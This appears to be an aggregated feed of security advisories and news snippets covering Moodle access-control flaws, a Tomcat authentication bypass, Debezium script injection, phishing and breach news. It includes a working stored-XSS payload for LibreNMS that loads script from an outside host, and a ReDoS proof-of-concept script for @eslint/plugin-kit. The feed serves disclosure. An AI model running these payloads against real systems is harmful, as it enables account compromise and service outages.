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GHSA-mg54-p2wj-5ph7: moodle: IDOR when fetching report schedules

A vulnerability was found in Moodle. Additional checks are required to ensure users can only access the schedule of a report if they have permission to edit that report.

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GHSA-xcpr-7mr4-h4xq: Apache Tomcat - Authentication Bypass

Unchecked Error Condition vulnerability in Apache Tomcat. If Tomcat is configured to use a custom Jakarta Authentication (formerly JASPIC) ServerAuthContext component which may throw an exception during the authentication process without explicitly setting an HTTP status to indicate failure, the authentication may not fail, allowing the user to bypass the authentication process. There are no known Jakarta Authentication components that behave in this way. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M26, from 10.1.0-M1 through 10.1.30, from 9.0.0-M1 through 9.0.95. Users are recommended to upgrade to version 11.0.0, 10.1.31 or 9.0.96, which fix the issue.

GHSA-cq5f-wv7p-5gfc: Moodle leaks user names

A vulnerability was found in Moodle. It is possible for users with the "send message" capability to view other users' names that they may not otherwise have access to via an error message in Messaging. Note: The name returned follows the full name format configured on the site.

GHSA-fjq9-452g-jg3q: moodle: Some users can delete audiences of other reports

A vulnerability was found in Moodle. Users with access to delete audiences from reports could delete audiences from other reports that they do not have permission to delete from.

Fake Discount Sites Exploit Black Friday to Hijack Shopper Information

A new phishing campaign is targeting e-commerce shoppers in Europe and the United States with bogus pages that mimic legitimate brands with the goal of stealing their personal information ahead of the Black Friday shopping season. "The campaign leveraged the heightened online shopping activity in November, the peak season for Black Friday discounts. The threat actor used fake discounted products

Beyond Compliance: The Advantage of Year-Round Network Pen Testing

IT leaders know the drill—regulators and cyber insurers demand regular network penetration testing to keep the bad guys out. But here’s the thing: hackers don’t wait around for compliance schedules. Most companies approach network penetration testing on a set schedule, with the most common frequency being twice a year (29%), followed by three to four times per year (23%) and once per year (20%),

GHSA-hvw5-3mgw-7rcf: Debezium database connector has a script injection vulnerability

A script injection vulnerability was found in the Debezium database connector, where it does not properly sanitize some parameters. This flaw allows an attacker to send a malicious request to inject a parameter that may allow the viewing of unauthorized data.

Bitfinex Hacker Gets 5 Years for $10 Billion Bitcoin Heist

Plus: An “AI granny” is wasting scammers’ time, a lawsuit goes after spyware-maker NSO Group’s executives, and North Korea–linked hackers take a crack at macOS malware.

GHSA-8fh4-942r-jf2g: LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" tab of the Device page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions. ### Details When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "descr" parameter. This payload is reflected in the "Services" tab of the device (URL: "/device/15/services"). It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajax_form.php request with the "type=create-service"). The payload used to exploit this vulnerability is: ```Descr'"><script/src=//15.rs></script>``` ...

GHSA-7q7g-4xm8-89cq: Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

Crafting a very large and well crafted string can increase the CPU usage and crash the program. ## POC ```js const { ConfigCommentParser } = require("@eslint/plugin-kit"); var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A"; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, "")); console.log("end") // run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage ```